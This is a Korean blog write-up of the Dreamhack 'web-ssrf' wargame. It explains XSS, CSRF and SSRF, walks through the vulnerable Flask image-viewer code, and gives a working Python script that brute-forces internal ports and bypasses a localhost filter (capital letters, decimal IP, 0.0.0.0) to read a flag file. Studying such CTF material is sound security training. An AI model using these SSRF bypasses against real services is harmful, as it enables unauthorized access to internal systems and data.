security/웹해킹

[Dreamhack Wargame] web-ssrf + SSRF에 대해

민사민서 2023. 6. 30. 17:29

XSS (Cross Site Scripting)

공격할 사이트의 origin에서 스크립트를 실행시킴, 클라이언트 대상 공격으로 세션 및 쿠키 탈취 목적

CSRF (Cross Site Request Forgery)

악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 임의 페이지에 HTTP 요청을 보내는 / 웹서비스의 임의 기능을 실행시키는 공격

SSRF (Server Side Requet Forgery)

웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청 보냄

웹 서비스의 요청 내에 이용자의 입력값이 포함되어야 함

- 입력 URL에 요청 보내는 경우: 웹서비스의 마이크로서비스 API 주소를 파악한 후 접근

- 웹서비스의 요청 URL에 입력값 포함되는 경우: path traversal, Fragment identifier(#) 이용해 뒤의 문자열 생략

- 웹서비스의 요청 body에 입력값 포함되는 경우: 구분자 & 등을 이

 

엔드포인트?

https://velog.io/@kho5420/Web-API-%EA%B7%B8%EB%A6%AC%EA%B3%A0-EndPoint

 

문제 분석

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url) # url을 각 구성요소로 분리
        if url[0] == "/": # route로 시작 시 자동으로 scheme+netloc 추가
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): # 도메인에 localhost / 127.0.0.1 포함 시
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

- user input이 /로 시작하면 "http://localhost:8000" 앞에 붙여줌

- user input에서 도메인에 "localhost", "127.0.0.1" 필터링 => 대소문자 우회 가능!

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800) # 포트 랜덤
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
) # 내부 서버

def run_local_server():
    local_server.serve_forever()

threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True) # Flask 애플리케이션 hosting

- 1500~1800 사이의 랜덤 포트 번호를 매핑하여 내부 로컬 서버를 별도 스레드로 운영한다

- 8000번 포트에서 Flask Application을 호스팅한다

- /static 폴더의 정적 파일같은 경우 8000번 포트의 Flask 어플리케이션에서도 접근(처리) 가능하지만

- /flag.txt의 경우 우리가 웹서비스의 요청 url을 변조하여 요청해야한다

=> url 필터링 피하고, 포트번호 파악

 

문제 해결

import requests

# 실패 이미지 (Not Found)
failed_image = '<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnltSIaEEEJASehOlSJcSQotUqYKNkAQSSogJQcSuLCq4dhEBG7oqouhaAFkr9rIo9v6woKKsiwUbKm9SQFe/9973zvfNvX/OnPOfkrlz7wCgVcOVSHJRbQDyxAXS+PBg5tjUNCbpMUAAGWAAB3QuTyZhxcVFASgD93/Ku+vQGsoVZwXXz/P/VXT4AhkPACQO'

for port in range(1500, 1801):
    print("port : "+str(port))
    c = requests.post('http://host3.dreamhack.games:18234/img_viewer', data={"url": 'http://LOCALHOST:{port}/flag.txt'.format(port=port)})
    if failed_image not in c.text:
        print(c.text)
        break

error.png는 "NOT FOUND X" 이런 이미지더라

/app/flag.txt에 있는 줄 알고 삽 품, 실제로는 /flag.txt

 

base64 디코딩하면 플래그 값 획득 가능

 

 

cf) URL 구조

https://www.beusable.net/blog/?p=4507

python urlparse()

from urllib.parse import urlparse

parsed = urlparse("https://www.test.com:8000/%test/contents.html")

print(parsed)
# ParseResult(scheme='https', netloc='www.test.com:8000', path='/%test/contents.html', params='', query='', fragment='')
# 순서대로 idx 0 ~ 5

 

cf) 참신한 풀이들

- 127.0.0.1을 십진수로 바꿔 우회

https://dreamhack.io/wargame/challenges/75/?writeup_id=1075 

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

-127.0.1 이용

https://dreamhack.io/wargame/challenges/75/?writeup_id=735 

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

- 0.0.0.0 사용

https://dreamhack.io/wargame/challenges/75/?writeup_id=3843